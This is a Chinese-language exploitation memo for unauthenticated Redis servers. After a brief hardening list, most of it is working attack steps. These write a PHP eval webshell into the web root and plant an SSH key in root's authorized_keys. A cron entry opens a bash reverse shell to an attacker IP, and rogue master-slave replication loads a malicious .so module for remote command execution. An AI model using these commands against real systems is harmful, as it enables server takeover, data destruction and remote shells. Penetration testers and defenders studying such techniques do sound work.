redis利用备忘录
fofa:
icon_hash="864611937"
防护:
redis的安全设置:设置完毕,需要重加载配置文件启动redis
1.绑定内网ip地址进行访问
2. requirepass设置redis密码
3.保护模式开启protected-mode开启(默认开启)
4.最好把端口更改
5.单独为redis设置一个普通账号,启动redis。
1.redis 未授权:
条件:
(1)redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策
略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
危害:
1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,攻击者也可以执行flushall来清空所有数据
2、攻击者可通过EVAL执行lua代码或通过数据备份功能往硬盘写入后门,如果Redis是以root身份运行,黑客可以给root账户写入SSH公钥文件,直接登陆目标服务器
测试流程:
redis-cli -h ip
2.redis 写 webshell
漏洞原理:
靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的
利用:
Config set dir /var/www/html → 切换到网站的根路径
Config set dbfilename yy.php →在硬盘中生成木马文件
Set XXX "\n\n\n<?php evaI($_REQUEST[8]);?>\n\n\n" ----> \n 为换行,区分开来
save
浏览器看是否上传成功:ip/文件名
执行 phpinfo: IP/文件名?8=phpinfo()
3.redis 密钥登录 ssh
原理:
漏洞原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改
数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.kevs,把缓冲的数据保存在
文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
利用条件:
redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入
攻击机上(kali) 创建ssh-rsa也就是生成key这里密码设置成空全部默认就行 → ssh-keygen-trsa
ssh-keygen -t rsa #生成公钥
cd /root/.ssh #切换到 ssh 目录
Is
cat id_rsa.pub #查看公钥
redis-cli -h 192.168.33.134 #连接目标主机redis
config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz"\n\n\n 公钥 \n\n\n" #将公钥写入xz健
save #进行保存
ssh -i id_rsa root@192.168.91.131 #连接主机
4.利用计划任务反弹 shell
漏洞原理:
利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录I/var/spool/cron下来执行。
利用:
攻击机开启监听 → nc-lvvp 9999
redis-cli -h 192.168.33.1341 #连接redis
flushall #清除所有键值
config set dir /var/spool/cron #设置保存路径
config set dbfilename root #保存名称
set xz "\n\n***** bash -i >& /dev/tcp/192.168.91.132/9999 0>&1 \n\n" #将反弹shell写入xz键值
save #写入保存路径的shell文件
5.远程主从复制 RCE
原理:
漏洞原理:漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.So文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
利用:
redis-rogue-server工具下载地址:
https://github.com/nob0dyCN/redis-rogue-server
该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。
如果存在密码可以使用下面这个工具。Awsome-Redis-Rogue-ServerI具下载地址:
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
python3 redis-rogue-server.py --rhost 192.168.91.162 --lhost 192.168.91.132
输入 r,反弹 shell 输入 i 执行命令
6.本地主从复制
攻击机:python3 redis_rogue_server.py -v -path exp.so
config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步,将恶意so文件写入到tmp目录
module load./exp.so
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要看有没有"system"
system.rev 192.168.91.132 1234